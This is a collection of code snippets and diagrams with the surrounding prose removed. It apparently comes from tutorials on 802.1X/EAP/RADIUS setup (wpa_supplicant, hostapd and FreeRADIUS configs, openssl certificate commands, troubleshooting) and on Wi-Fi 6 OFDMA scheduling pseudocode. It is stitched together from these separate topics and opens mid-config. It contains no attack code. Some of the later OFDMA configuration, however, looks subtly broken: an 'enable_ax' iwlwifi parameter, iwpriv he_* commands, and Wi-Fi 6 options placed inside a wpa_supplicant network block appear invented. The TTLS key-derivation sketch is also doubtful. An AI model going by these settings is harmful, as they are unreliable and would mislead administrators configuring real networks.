    # Phase 2: Use EAP-MSCHAPv2 (EAP method inside TTLS)
    phase2="autheap=MSCHAPV2"

    ca_cert="/etc/certs/ca.crt"
}

eap {
    default_eap_type = ttls

    ttls {
        tls = tls-common
        default_eap_type = mschapv2
        copy_request_to_tunnel = yes
        use_tunneled_reply = yes
        virtual_server = "inner-tunnel"

        # Support non-EAP methods
        require_client_cert = no
    }
}

 Ethernet Frame
┌────────────────────────────────────────────────────────┐
│ Dest MAC │ Src MAC │ EtherType │ EAPOL Packet │  FCS  │
│  6 bytes │ 6 bytes │  0x888E   │   Variable   │4 bytes│
└────────────────────────────────────────────────────────┘
                           ↓
                    EAPOL Packet
         ┌──────────────────────────────────────┐
         │ Ver │ Type │ Length │ Packet Body    │
         │  1  │  1   │   2    │   Variable     │
         └──────────────────────────────────────┘
                                  ↓
                          (If Type = EAP-Packet)
                           EAP Packet Format
                   ┌─────────────────────────────┐
                   │ Code│ Id │Len │Type│ Data  │
                   └─────────────────────────────┘

sequenceDiagram
    participant S as Supplicant
    participant A as Authenticator

    Note over A: Port is unauthorized
    Note over A: Only EAPOL traffic allowed

    S->>A: EAPOL-Start (Type=1)
    Note over S: "I want to authenticate"

    A->>S: EAP-Request/Identity (Type=0, EAP packet)
    S->>A: EAP-Response/Identity (Type=0, EAP packet)

    Note over A,S: Multiple EAP exchanges...

    A->>S: EAP-Success (Type=0, EAP packet)

    Note over A: Port authorized
    Note over A: All traffic now allowed

    A->>S: EAPOL-Key (Type=3) - 4-Way Handshake Message 1
    S->>A: EAPOL-Key (Type=3) - 4-Way Handshake Message 2
    A->>S: EAPOL-Key (Type=3) - 4-Way Handshake Message 3
    S->>A: EAPOL-Key (Type=3) - 4-Way Handshake Message 4

    Note over S,A: Encrypted data traffic begins

graph TB
    subgraph "Supplicant (Client Device)"
        S[EAP Supplicant<br/>wpa_supplicant]
    end

    subgraph "Authenticator (WiFi AP / Switch)"
        A[802.1X PAE<br/>Port Access Entity]
        P[Controlled Port<br/>Unauth/Auth]
    end

    subgraph "Authentication Server"
        R[RADIUS Server<br/>FreeRADIUS]
    end

    S <-->|EAPOL| A
    A <-->|RADIUS| R
    A --> P

    style S fill:#e1f5ff
    style A fill:#fff4e1
    style R fill:#e8f5e9
    style P fill:#ffe1e1

sequenceDiagram
    participant C as Client (Supplicant)
    participant AP as Access Point (Authenticator)
    participant R as RADIUS Server

    Note over C,AP: Association (Open)
    C->>AP: Association Request
    AP->>C: Association Response
    Note over C,AP: Associated, but not authenticated

    Note over C,R: 802.1X / EAP Authentication
    C->>AP: EAPOL-Start
    AP->>C: EAP-Request/Identity
    C->>AP: EAP-Response/Identity
    AP->>R: RADIUS Access-Request (Identity)

    R->>AP: RADIUS Access-Challenge (EAP-TLS Start)
    AP->>C: EAP-Request/TLS (Start)

    Note over C,R: TLS Handshake (multiple round trips)

    R->>AP: RADIUS Access-Accept (EAP-Success, MSK, MPPE-Keys)
    AP->>C: EAP-Success

    Note over C,AP: Derive PMK from MSK
    Note over C,AP: PMK = MSK[0:256 bits]

    Note over C,AP: 4-Way Handshake (EAPOL-Key)
    AP->>C: Message 1 (ANonce)
    C->>AP: Message 2 (SNonce, MIC)
    AP->>C: Message 3 (GTK, MIC)
    C->>AP: Message 4 (MIC)

    Note over C,AP: PTK and GTK installed
    Note over C,AP: Encrypted data traffic begins

             EAP Authentication
                     ↓
        MSK (Master Session Key)
              64 bytes
                     ↓
        PMK = MSK[0:31] (first 256 bits)
     (Pairwise Master Key)
                     ↓
           4-Way Handshake
         (uses ANonce, SNonce)
                     ↓
        PTK (Pairwise Transient Key)
              384/512 bits
                     ↓
    ┌────────┬────────┬────────┬────────┐
    │  KCK   │  KEK   │  TK    │ (MIC)  │
    │(16B)   │(16B)   │(16B)   │        │
    └────────┴────────┴────────┴────────┘

    GTK (Group Temporal Key)
    ← Encrypted with KEK in Msg 3

stateDiagram-v2
    [*] --> Disconnected
    Disconnected --> Connecting: Link Up
    Connecting --> Authenticating: Association Success
    Authenticating --> Authenticating: EAP Exchange
    Authenticating --> Authenticated: EAP Success + 4-Way Success
    Authenticating --> Held: EAP Failure
    Authenticated --> Reauthenticating: Timeout / Policy
    Reauthenticating --> Authenticated: Success
    Reauthenticating --> Held: Failure
    Held --> Disconnected: Timeout
    Authenticated --> Disconnected: Disassociation

sequenceDiagram
    participant P as Peer
    participant N as NAS (Authenticator)
    participant R as RADIUS Server

    Note over P,N: EAPOL Exchange
    P->>N: EAPOL EAP-Response/Identity

    Note over N,R: RADIUS Exchange
    N->>R: Access-Request<br/>[EAP-Message: Identity]<br/>[Message-Authenticator]

    R->>N: Access-Challenge<br/>[EAP-Message: Request/TLS]<br/>[State]<br/>[Message-Authenticator]

    N->>P: EAPOL EAP-Request/TLS
    P->>N: EAPOL EAP-Response/TLS

    N->>R: Access-Request<br/>[EAP-Message: Response/TLS]<br/>[State]<br/>[Message-Authenticator]

    Note over R: Multiple round trips...

    R->>N: Access-Accept<br/>[EAP-Message: Success]<br/>[MS-MPPE-Recv-Key]<br/>[MS-MPPE-Send-Key]<br/>[Message-Authenticator]

    N->>P: EAPOL EAP-Success

Code: 1 (Access-Request)
Identifier: 42
Length: 234
Authenticator: [16 bytes random]
Attributes:
  User-Name: "alice@example.com"
  NAS-IP-Address: 192.168.1.1
  NAS-Port: 0
  Called-Station-Id: "00-11-22-33-44-55:Corp-WiFi"
  Calling-Station-Id: "aa-bb-cc-dd-ee-ff"
  NAS-Port-Type: 19 (Wireless-802.11)
  EAP-Message: [EAP packet data]
  Message-Authenticator: [16 bytes HMAC-MD5]
  State: [server state from previous response]

Code: 11 (Access-Challenge)
Identifier: 42 (matches request)
Length: 156
Authenticator: [16 bytes response]
Attributes:
  EAP-Message: [EAP packet data]
  State: [opaque session state]
  Message-Authenticator: [16 bytes HMAC-MD5]

Code: 2 (Access-Accept)
Identifier: 42
Length: 189
Authenticator: [16 bytes response]
Attributes:
  EAP-Message: [EAP-Success]
  MS-MPPE-Recv-Key: [encrypted, first 32 bytes of MSK]
  MS-MPPE-Send-Key: [encrypted, second 32 bytes of MSK]
  Message-Authenticator: [16 bytes HMAC-MD5]
  Session-Timeout: 3600

Access-Request:
  EAP-Message[1]: [253 bytes]
  EAP-Message[2]: [253 bytes]
  EAP-Message[3]: [253 bytes]
  EAP-Message[4]: [100 bytes]
  Message-Authenticator: [16 bytes]

MS-MPPE-Recv-Key = Salt + Encrypted(MSK[0:31])
MS-MPPE-Send-Key = Salt + Encrypted(MSK[32:63])

Encryption uses:
  Key = MD5(RADIUS-Secret + Request-Authenticator)

Tag = 0
Salt = [2 bytes random]
Encrypted-Data = Encrypted(MSK[0:63])

                    EAP Method
                   (TLS, TTLS, PEAP, etc.)
                          ↓
         ┌────────────────┴────────────────┐
         ↓                                 ↓
    MSK (64 bytes)                    EMSK (64 bytes)
    Distributed to NAS                Not distributed
         ↓                             (Future use)
    PMK = MSK[0:31]
    (First 256 bits)
         ↓
    ──────────────────
    4-Way Handshake
    ──────────────────
    Inputs:
      - PMK
      - ANonce (AP random)
      - SNonce (STA random)
      - AA (AP MAC)
      - SA (STA MAC)
         ↓
    PTK = PRF-X(PMK, "Pairwise key expansion",
                Min(AA,SA) || Max(AA,SA) ||
                Min(ANonce,SNonce) || Max(ANonce,SNonce))
         ↓
    ┌─────────┬─────────┬─────────┬─────────┐
    │   KCK   │   KEK   │    TK   │ (MIC Key│
    │ 16 bytes│ 16 bytes│ 16 bytes│  if WPA)│
    │ Confirm │ Encrypt │ Data    │         │
    │ 4-Way   │  GTK    │ Encrypt │         │
    └─────────┴─────────┴─────────┴─────────┘

TLS Master Secret (48 bytes)
        ↓
TLS PRF (Pseudo-Random Function)
        ↓
Key Material = TLS-PRF(master_secret,
                       "client EAP encryption",
                       client_random || server_random)
        ↓
    ┌───────┴────────┐
    ↓                ↓
MSK (64 bytes)   EMSK (64 bytes)

TLS Master Secret (from Phase 1)
        ↓
TLS PRF → Intermediate Keys
        ↓
Inner Method (Phase 2)
  (e.g., MSCHAPv2)
        ↓
    Response Hash
        ↓
Combined PRF (TLS keys + Inner keys)
        ↓
    ┌───────┴────────┐
    ↓                ↓
MSK (64 bytes)   EMSK (64 bytes)

PMK-R0 = KDF(MSK, "FT-R0", SSID || MDID || R0KH-ID || S0KH-ID)

PMK-R1 = KDF(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID)

# Minimum secure configuration
network={
    # ... other settings ...

    # Validate server certificate
    ca_cert="/etc/certs/ca.crt"

    # Verify server name (strongest protection)
    domain_suffix_match="radius.example.com"
    # OR
    domain_match="radius.example.com"

    # Optional: Pin specific certificate
    # ca_cert="/etc/certs/radius-server.crt"
}

# Protect real username
anonymous_identity="anonymous@example.com"
identity="alice@example.com"  # Sent in encrypted tunnel

# Only allow strong methods
eap=TLS
# OR for tunneled:
eap=TTLS
phase2="autheap=MSCHAPV2"  # MSCHAPv2 inside tunnel is OK

# Disable old TLS versions
phase1="tls_disable_tlsv1_0=1 tls_disable_tlsv1_1=1"

# /etc/wpa_supplicant/wpa_supplicant.conf

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=wheel
update_config=1
country=US

network={
    ssid="Corporate-Secure"
    key_mgmt=WPA-EAP
    eap=TLS

    # Client identity (often from certificate CN)
    identity="alice@corp.example.com"

    # Client certificate and private key
    client_cert="/etc/certs/alice.crt"
    private_key="/etc/certs/alice.key"
    private_key_passwd="keypassword"

    # CA certificate (validate server)
    ca_cert="/etc/certs/corp-ca.crt"

    # Server certificate validation (CRITICAL for security)
    domain_suffix_match="radius.corp.example.com"

    # Optional: Check specific certificate fields
    # altsubject_match="DNS:radius.corp.example.com"

    # TLS settings
    phase1="tls_disable_tlsv1_0=1 tls_disable_tlsv1_1=1"

    # Optional: Specify cipher suites
    # openssl_ciphers="ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256"

    # Priority (higher = preferred)
    priority=10
}

network={
    ssid="Corp-WiFi"
    key_mgmt=WPA-EAP
    eap=PEAP

    # Outer identity (anonymous for privacy)
    anonymous_identity="anonymous@corp.example.com"

    # Inner identity and password
    identity="alice@corp.example.com"
    password="SecurePassword123!"

    # Phase 2 (inner authentication)
    phase2="auth=MSCHAPV2"

    # PEAP version (0 is most common)
    phase1="peapver=0"

    # Server certificate validation (CRITICAL)
    ca_cert="/etc/certs/corp-ca.crt"
    domain_suffix_match="radius.corp.example.com"

    priority=5
}

network={
    ssid="University-WiFi"
    key_mgmt=WPA-EAP
    eap=TTLS

    # Anonymous outer identity
    anonymous_identity="guest@uni.edu"

    # Real credentials (sent in encrypted tunnel)
    identity="student123@uni.edu"
    password="StudentPass456"

    # Phase 2: PAP (simple password, but encrypted in TLS tunnel)
    phase2="auth=PAP"

    # Server validation
    ca_cert="/etc/certs/uni-ca.crt"
    domain_match="radius.uni.edu"

    priority=5
}

network={
    ssid="Enterprise-Network"
    key_mgmt=WPA-EAP
    eap=TTLS

    anonymous_identity="anon@example.com"
    identity="bob@example.com"
    password="BobPassword789"

    # Note: "autheap" (not "auth") for EAP inner method
    phase2="autheap=MSCHAPV2"

    ca_cert="/etc/certs/ca.crt"
    domain_suffix_match="radius.example.com"
}

# Interface
interface=wlan0
driver=nl80211
bridge=br0

# SSID and basic settings
ssid=Corporate-WiFi
hw_mode=g
channel=6
country_code=US

# Security settings
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
wpa_pairwise=CCMP

# 802.1X settings
ieee8021x=1
eapol_version=2
eapol_key_index_workaround=0

# RADIUS server configuration
auth_server_addr=192.168.1.100
auth_server_port=1812
auth_server_shared_secret=SuperSecretRADIUSPassword123

# Optional: Secondary RADIUS server (failover)
auth_server_addr=192.168.1.101
auth_server_port=1812
auth_server_shared_secret=SuperSecretRADIUSPassword123

# Optional: Accounting server
acct_server_addr=192.168.1.100
acct_server_port=1813
acct_server_shared_secret=SuperSecretRADIUSPassword123

# Optional: Dynamic VLAN assignment
dynamic_vlan=1
vlan_file=/etc/hostapd/hostapd.vlan

# PMK caching for fast roaming
rsn_preauth=1
rsn_preauth_interfaces=wlan0
pmk_r1_push=1
ft_over_ds=1
ft_psk_generate_local=1

# Logging
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2

# Format: VLAN_ID VLAN_interface
1       vlan1
10      vlan10
20      vlan20
100     vlan100
*       vlan999  # Default VLAN for unknown users

# Define NAS (Network Access Server) - your APs
client wifi-ap-1 {
    ipaddr = 192.168.1.50
    secret = SuperSecretRADIUSPassword123
    shortname = ap-building-a
    nas_type = other
}

client wifi-controllers {
    ipaddr = 192.168.1.0/24
    secret = ControllerSecret456
    shortname = wlc-network
}

eap {
    # Default EAP type for outer authentication
    default_eap_type = peap

    # Timer settings
    timer_expire = 60
    ignore_unknown_eap_types = no

    # Common TLS configuration
    tls-config tls-common {
        # Server certificate and key
        private_key_file = /etc/raddb/certs/server.key
        certificate_file = /etc/raddb/certs/server.crt
        ca_file = /etc/raddb/certs/ca.crt

        # Certificate chain (if intermediate CAs)
        ca_path = /etc/raddb/certs/

        # Cipher configuration
        cipher_list = "HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4"
        cipher_server_preference = yes

        # TLS version
        tls_min_version = "1.2"
        tls_max_version = "1.3"

        # Disable weak protocols
        disable_tlsv1 = yes
        disable_tlsv1_1 = yes

        # Certificate verification
        check_cert_cn = %{User-Name}
        check_cert_issuer = "/C=US/ST=CA/O=Example Corp/CN=Example CA"

        # DH parameters
        dh_file = /etc/raddb/certs/dh2048.pem

        # OCSP settings (optional)
        # ocsp {
        #     enable = yes
        #     override_cert_url = yes
        #     url = "http://ocsp.example.com"
        # }
    }

    # EAP-TLS configuration
    tls {
        tls = tls-common

        # Require client certificate
        require_client_cert = yes
    }

    # PEAP configuration
    peap {
        tls = tls-common
        default_eap_type = mschapv2
        copy_request_to_tunnel = yes
        use_tunneled_reply = yes
        virtual_server = "inner-tunnel"

        # PEAP version
        # peap_version = 0
    }

    # EAP-TTLS configuration
    ttls {
        tls = tls-common
        default_eap_type = mschapv2
        copy_request_to_tunnel = yes
        use_tunneled_reply = yes
        virtual_server = "inner-tunnel"

        # Support non-EAP inner methods
        require_client_cert = no
    }

    # MSCHAPv2 (for use inside PEAP/TTLS)
    mschapv2 {
        with_ntdomain_hack = no
    }
}

# EAP-TLS: Check certificate attributes
alice@corp.example.com   Cleartext-Password := "unused"
    Reply-Message = "Welcome Alice",
    Tunnel-Type = VLAN,
    Tunnel-Medium-Type = IEEE-802,
    Tunnel-Private-Group-ID = 10

# PEAP/MSCHAPv2: Password authentication
bob@corp.example.com     Cleartext-Password := "BobPassword123"
    Reply-Message = "Welcome Bob",
    Tunnel-Private-Group-ID = 20

# Default user (deny)
DEFAULT         Auth-Type := Reject
                Reply-Message = "Authentication failed"

server default {
    authorize {
        filter_username
        preprocess

        # EAP authorization
        eap {
            ok = return
        }

        # Check files, SQL, LDAP, etc.
        files
        -sql
        -ldap
    }

    authenticate {
        Auth-Type EAP {
            eap
        }
    }

    post-auth {
        # Reply attributes
        reply

        # Post-auth actions
        Post-Auth-Type REJECT {
            attr_filter.access_reject
        }
    }
}

server inner-tunnel {
    authorize {
        filter_username

        # Inner EAP
        eap {
            ok = return
        }

        # Check credentials
        files
        -sql
        -ldap

        # MSCHAPv2
        mschap

        # PAP
        pap
    }

    authenticate {
        Auth-Type EAP {
            eap
        }

        Auth-Type MS-CHAP {
            mschap
        }

        Auth-Type PAP {
            pap
        }
    }

    post-auth {
        Post-Auth-Type REJECT {
            attr_filter.access_reject
        }
    }
}

# CA private key
openssl genrsa -out ca.key 4096

# CA certificate (self-signed)
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt \
    -subj "/C=US/ST=California/L=San Francisco/O=Example Corp/CN=Example CA"

# Server private key
openssl genrsa -out server.key 2048

# Server certificate signing request
openssl req -new -key server.key -out server.csr \
    -subj "/C=US/ST=CA/L=SF/O=Example Corp/CN=radius.example.com"

# Sign with CA
openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca.key \
    -set_serial 01 -out server.crt \
    -extfile <(echo "extendedKeyUsage=serverAuth")

# Client private key
openssl genrsa -out alice.key 2048

# Client CSR
openssl req -new -key alice.key -out alice.csr \
    -subj "/C=US/ST=CA/O=Example Corp/CN=alice@example.com"

# Sign with CA
openssl x509 -req -days 365 -in alice.csr -CA ca.crt -CAkey ca.key \
    -set_serial 02 -out alice.crt \
    -extfile <(echo "extendedKeyUsage=clientAuth")

CTRL-EVENT-EAP-FAILURE EAP authentication failed

# Enable wpa_supplicant debug logging
wpa_supplicant -Dnl80211 -iwlan0 -c/etc/wpa_supplicant.conf -dd

# Check RADIUS server logs
tail -f /var/log/freeradius/radius.log

# Test RADIUS connectivity
radtest username password radius-server:1812 0 sharedsecret

SSL: SSL3 alert: write (local SSL3 detected an error):fatal:unknown CA

# Check server certificate
openssl s_client -connect radius.example.com:1812 -showcerts

# Verify certificate chain
openssl verify -CAfile ca.crt server.crt

# Check certificate dates
openssl x509 -in server.crt -noout -dates

# Check certificate subject/SAN
openssl x509 -in server.crt -noout -text | grep -A1 "Subject Alternative Name"

# Option 1: Use correct CA certificate
ca_cert="/path/to/correct/ca.crt"

# Option 2: Disable validation (INSECURE - testing only)
# ca_cert="/etc/ssl/certs/ca-certificates.crt"
# phase1="tls_disable_time_checks=1"

CTRL-EVENT-EAP-SUCCESS (outer)
...
CTRL-EVENT-EAP-FAILURE (overall)

# Check phase 2 configuration
grep phase2 /etc/wpa_supplicant/wpa_supplicant.conf

# RADIUS server debug (shows phase 2)
radiusd -X

# Verify phase 2 method matches server
phase2="auth=MSCHAPV2"  # For PEAP
# OR
phase2="autheap=MSCHAPV2"  # For TTLS with EAP inner

# Verify credentials
identity="correctuser@example.com"
password="correctpassword"

# Use anonymous for outer, real for inner
anonymous_identity="anonymous@example.com"
identity="realuser@example.com"

RADIUS No response from server

# Test network connectivity
ping radius-server-ip

# Check firewall
sudo iptables -L -n | grep 1812
sudo ufw status

# Capture RADIUS traffic
sudo tcpdump -i any -n port 1812 or port 1813

# Test with radtest
echo "User-Name = test" | radclient radius-server:1812 auth sharedsecret

CTRL-EVENT-EAP-SUCCESS
...
WPA: 4-Way Handshake failed

# Check RADIUS Access-Accept includes MS-MPPE keys
radiusd -X  # Look for MS-MPPE-Send-Key and MS-MPPE-Recv-Key

# Verify in hostapd
hostapd_cli -i wlan0 all_sta  # Check for PMK

# In FreeRADIUS, ensure eap module returns success
# In sites-enabled/default:
post-auth {
    # Ensure MPPE keys are included
    reply
}

# Interactive control
wpa_cli -i wlan0

# Useful wpa_cli commands:
wpa_cli status                    # Connection status
wpa_cli reassociate               # Reconnect
wpa_cli reconfigure               # Reload config
wpa_cli log_level DEBUG           # Increase verbosity
wpa_cli bss <BSSID>               # AP information
wpa_cli list_networks             # Configured networks

# Debug logging to file
wpa_supplicant -Dnl80211 -iwlan0 -c/etc/wpa_supplicant.conf \
    -dd -f /tmp/wpa_debug.log

# Test EAP with eapol_test (useful for RADIUS testing)
eapol_test -c peap.conf -s radiussecret -a 192.168.1.100

# Interactive control
hostapd_cli -i wlan0

# Useful commands:
hostapd_cli status                # AP status
hostapd_cli all_sta               # All connected stations
hostapd_cli deauthenticate <MAC>  # Kick client (triggers reauth)
hostapd_cli help                  # All commands

# Debug mode
hostapd -dd /etc/hostapd/hostapd.conf

# Debug mode (extremely verbose)
radiusd -X

# Debug specific module
radiusd -Xxd eap

# Test authentication
radtest alice password 127.0.0.1:1812 0 testing123

# EAP test
eapol_test -c test.conf -s secret -a 127.0.0.1

# Check certificate
radtest -t eap-tls alice "" 127.0.0.1:1812 0 secret

# Capture EAPOL traffic
sudo tcpdump -i wlan0 -e ether proto 0x888e -w eapol.pcap

# Capture RADIUS traffic
sudo tcpdump -i eth0 port 1812 or port 1813 -w radius.pcap

# Wireshark display filters:
# eapol
# radius
# eap
# tls

# View certificate details
openssl x509 -in cert.crt -text -noout

# Check expiration
openssl x509 -in cert.crt -noout -enddate

# Verify certificate chain
openssl verify -CAfile ca.crt -untrusted intermediate.crt server.crt

# Test TLS connection
openssl s_client -connect server:port -CAfile ca.crt -cert client.crt -key client.key

# Recommended wpa_supplicant settings
network={
    ssid="SecureNetwork"
    key_mgmt=WPA-EAP
    eap=PEAP

    # Use anonymous outer identity
    anonymous_identity="guest@example.com"
    identity="user@example.com"

    # Strong server validation (CRITICAL)
    ca_cert="/etc/certs/ca.crt"
    domain_suffix_match="radius.example.com"

    # Modern TLS only
    phase1="peapver=0 tls_disable_tlsv1_0=1 tls_disable_tlsv1_1=1"

    # Strong phase 2
    phase2="auth=MSCHAPV2"

    # Enable 802.11w
    ieee80211w=2  # Required
}

# In hostapd.conf
rsn_preauth=1
okc=1  # Opportunistic Key Caching

# In FreeRADIUS users file
Session-Timeout = 28800  # 8 hours

|26|26|26|26|26|26|26|26|26|

|  52  |  52  |  52  |  52  |

|     106     |     106     |

|          242          |

|     106     |26|26|26|26|

|26|26|26|26|26|26|26|26|26|26|26|26|26|26|26|26|26|26|

|  52  |  52  |  52  |  52  |  52  |  52  |  52  |  52  |

|     106     |     106     |     106     |     106     |

|          242          |          242          |

|                    484                    |

+---------+--------+--------+--------+--------+
| Preamble| SIG-A  | SIG-B  | Data 1 | Data 2 |
|         |        |        | (RU 1) | (RU 2) |
+---------+--------+--------+--------+--------+
                    |
                    +-- Contains RU allocation information

+--------------+---------------+---------------+
| Common Info  | User Info 1   | User Info 2   |
+--------------+---------------+---------------+
       |               |               |
       |               |               +-- RU allocation, MCS, etc.
       |               +-- RU allocation, MCS, etc.
       +-- Trigger type, channel info, duration

+------------+--------+---------+----------+
| Trigger    | UL BW  | GI+LTF  | MU-MIMO  |
| Type       |        | Type    | LTF Mode |
+------------+--------+---------+----------+
| AP TX Pwr  | Pre-   | Doppler | Guard    |
| Info       | FEC    |         | Interval |
+------------+--------+---------+----------+

+----------+----------+----------+----------+
| AID12    | RU       | UL FEC   | UL MCS   |
|          | Alloc    | Coding   |          |
+----------+----------+----------+----------+
| UL DCM   | SS       | UL Target| Trigger  |
|          | Alloc    | RSSI     | Dependent|
+----------+----------+----------+----------+

80 MHz Channel:
+---------------+---------------+---------------+---------------+
|   242-tone    |   242-tone    |   242-tone    |   242-tone    |
|   RU (STA A)  |   RU (STA B)  | RU (STA C+D)  | RU (STA E+F)  |
|   2 streams   |   1 stream    | 2 STAs, 1 SS  | 2 STAs, 1 SS  |
|               |               | each (MIMO)   | each (MIMO)   |
+---------------+---------------+---------------+---------------+

# Pseudocode
for each transmission_opportunity:
    available_users = get_active_users()
    selected_users = []
    remaining_rus = get_available_rus()

    for user in available_users:
        if len(remaining_rus) > 0:
            ru = allocate_ru(user, remaining_rus)
            selected_users.append((user, ru))
            remaining_rus.remove(ru)

    transmit_to_users(selected_users)

# Pseudocode
for each transmission_opportunity:
    for each user:
        priority[user] = current_demand[user] / average_throughput[user]

    selected_users = []
    remaining_rus = get_available_rus()

    for user in sorted_by_priority(users):
        if len(remaining_rus) > 0:
            ru = allocate_optimal_ru(user, remaining_rus)
            selected_users.append((user, ru))
            remaining_rus.remove(ru)

    transmit_to_users(selected_users)

# Pseudocode
for each transmission_opportunity:
    high_priority_users = get_users_by_ac([AC_VO, AC_VI])
    low_priority_users = get_users_by_ac([AC_BE, AC_BK])

    selected_users = []
    remaining_rus = get_available_rus()

    # Allocate to high-priority traffic first
    for user in high_priority_users:
        if len(remaining_rus) > 0:
            ru = allocate_optimal_ru(user, remaining_rus)
            selected_users.append((user, ru))
            remaining_rus.remove(ru)

    # Fill remaining RUs with lower-priority traffic
    for user in low_priority_users:
        if len(remaining_rus) > 0:
            ru = allocate_optimal_ru(user, remaining_rus)
            selected_users.append((user, ru))
            remaining_rus.remove(ru)

    transmit_to_users(selected_users)

# Pseudocode
for each transmission_opportunity:
    # Periodically poll buffer status
    if time_to_poll:
        send_bsrp_trigger()
        collect_buffer_reports()

    selected_users = []
    remaining_rus = get_available_rus()

    # Prioritize users with larger buffers
    for user in sorted_by_buffer_size(users, descending=True):
        if buffer_size[user] > 0 and len(remaining_rus) > 0:
            ru = allocate_ru_based_on_buffer(user, remaining_rus)
            selected_users.append((user, ru))
            remaining_rus.remove(ru)

    transmit_to_users(selected_users)

Trigger Frame Scheduling:
+----------------+----------------+----------------+----------------+
| RU 1: AC_VO    | RU 2: AC_VO    | RU 3: AC_VI    | RU 4: AC_VI    |
| (VoIP STA 1)   | (VoIP STA 2)   | (Video STA 1)  | (Video STA 2)  |
+----------------+----------------+----------------+----------------+
| RU 5: AC_BE    | RU 6: AC_BE    | RU 7: AC_BK    | RU 8: AC_BK    |
| (Web STA 1)    | (Web STA 2)    | (Download 1)   | (Download 2)   |
+----------------+----------------+----------------+----------------+

# Pseudocode for IoT scheduler
def schedule_iot_uplink():
    sensors_ready = get_sensors_with_data()

    # Group sensors into batches of 36
    for batch in chunk(sensors_ready, 36):
        trigger = create_basic_trigger()

        for i, sensor in enumerate(batch):
            trigger.add_user_info(
                aid=sensor.aid,
                ru_allocation=RU_26_TONE[i],
                mcs=0,  # Robust modulation for sensors
                target_rssi=-70
            )

        send_trigger(trigger)
        receive_sensor_data(batch)
        send_multi_sta_block_ack(batch)

80 MHz Channel:
+--------+--------+--------+--------+--------+--------+--------+--------+
| 106-RU | 106-RU | 52-RU  | 52-RU  | 26×4   | 106-RU | 106-RU | 242-RU |
| VoIP 1 | VoIP 2 |Video 1 |Video 2 |IoT×4   | Web 1  | Web 2  | DL user|
+--------+--------+--------+--------+--------+--------+--------+--------+

+----------+----------+----------+----------+----------+----------+----------+----------+
| 106-RU   | 106-RU   | 106-RU   | 106-RU   | 106-RU   | 106-RU   | 106-RU   | 106-RU   |
| Stream 1 | Stream 2 | Gaming 1 | Gaming 2 | Browse 1 | Browse 2 | Stream 3 | Browse 3 |
+----------+----------+----------+----------+----------+----------+----------+----------+

160 MHz Channel:
72 × 26-tone RUs for maximum concurrent users

# Pseudocode for stadium scheduler
def schedule_stadium_uplink():
    # Use BSRP to efficiently poll many users
    active_users = []

    # Poll in batches of 72
    for user_batch in chunk(all_associated_users, 72):
        bsrp = create_bsrp_trigger()
        for i, user in enumerate(user_batch):
            bsrp.add_user_info(
                aid=user.aid,
                ru_allocation=RU_26_TONE[i]
            )

        send_trigger(bsrp)
        buffer_reports = receive_buffer_reports()

        # Identify users with data to send
        active_users.extend([u for u in user_batch if buffer_reports[u] > 0])

    # Schedule actual data transmission for active users
    for user_batch in chunk(active_users, 72):
        trigger = create_basic_trigger()
        for i, user in enumerate(user_batch):
            trigger.add_user_info(
                aid=user.aid,
                ru_allocation=RU_26_TONE[i],
                mcs=select_mcs(user)
            )

        send_trigger(trigger)
        receive_uplink_data(user_batch)

Dedicated VoIP UL Trigger (20ms interval):
40 MHz Channel:
+--------+--------+--------+--------+--------+--------+--------+--------+
| 52-RU  | 52-RU  | 52-RU  | 52-RU  | 52-RU  | 52-RU  | 52-RU  | 52-RU  |
| VoIP 1 | VoIP 2 | VoIP 3 | VoIP 4 | VoIP 5 | VoIP 6 | VoIP 7 | VoIP 8 |
+--------+--------+--------+--------+--------+--------+--------+--------+

Periodic (every 20ms) trigger ensures low latency for voice packets

VoIP Packet (100 bytes):

OFDM (dense network):
- Contention: 0-500ms (variable)
- Transmission: 0.5ms
- Total: 0.5-500ms (highly variable)

OFDMA (scheduled):
- Wait for trigger: 0-20ms (depends on schedule interval)
- Transmission: 0.3ms
- Total: 0.3-20ms (predictable)

HE Capabilities Element:
+------------------+
| MAC Capabilities |  (indicates OFDMA support)
+------------------+
| PHY Capabilities |  (indicates supported RU sizes)
+------------------+
| Supported MCS    |
+------------------+

# /etc/hostapd/hostapd.conf

# Enable Wi-Fi 6
ieee80211ax=1

# Enable OFDMA
he_su_beamformer=1
he_su_beamformee=1
he_mu_beamformer=1

# OFDMA specific
he_default_pe_duration=4
he_twt_required=0

# Multi-user settings
he_rts_threshold=1023
mu_edca_qos_info_param_count=0
mu_edca_qos_info_q_ack=0

# Per-AC EDCA parameters for MU
mu_edca_ac_be_aifsn=8
mu_edca_ac_be_aci=0
mu_edca_ac_be_ecwmin=9
mu_edca_ac_be_ecwmax=10
mu_edca_ac_be_timer=255

# Check if interface supports OFDMA
iw dev wlan0 info | grep -i "HE\|ax"

# View detailed HE capabilities
iw phy phy0 info | grep -A 20 "HE Iftypes"

# Check connected stations HE capabilities
iw dev wlan0 station dump | grep -i "HE\|rx\|tx"

# /etc/wpa_supplicant/wpa_supplicant.conf

network={
    ssid="MyWiFi6Network"
    psk="password"

    # Enable Wi-Fi 6 features
    ieee80211ax=1

    # OFDMA support
    he_su_beamformee=1
}

# Enable aggressive OFDMA scheduling
iwpriv ath0 he_ul_ofdma 1
iwpriv ath0 he_dl_ofdma 1

# OFDMA RU allocation mode
# 0 = disabled, 1 = auto, 2 = force
iwpriv ath0 he_ul_ofdma_mode 1

# Minimum users for OFDMA activation
iwpriv ath0 he_ofdma_min_users 2

# Load iwlwifi with OFDMA enabled
modprobe iwlwifi enable_ax=1

# Check module parameters
cat /sys/module/iwlwifi/parameters/enable_ax

ofdma_min_users=2  # Don't use OFDMA for single user

# Pseudocode configuration
config = {
    'iot_deployment': {
        'preferred_ru_sizes': [26, 52],
        'max_users_per_txop': 36
    },
    'enterprise': {
        'preferred_ru_sizes': [52, 106, 242],
        'max_users_per_txop': 16
    },
    'residential': {
        'preferred_ru_sizes': [106, 242, 484],
        'max_users_per_txop': 8
    }
}

trigger_interval_ms=10  # 10ms for VoIP
trigger_interval_ms=50  # 50ms for general traffic
trigger_interval_ms=100 # 100ms for background traffic
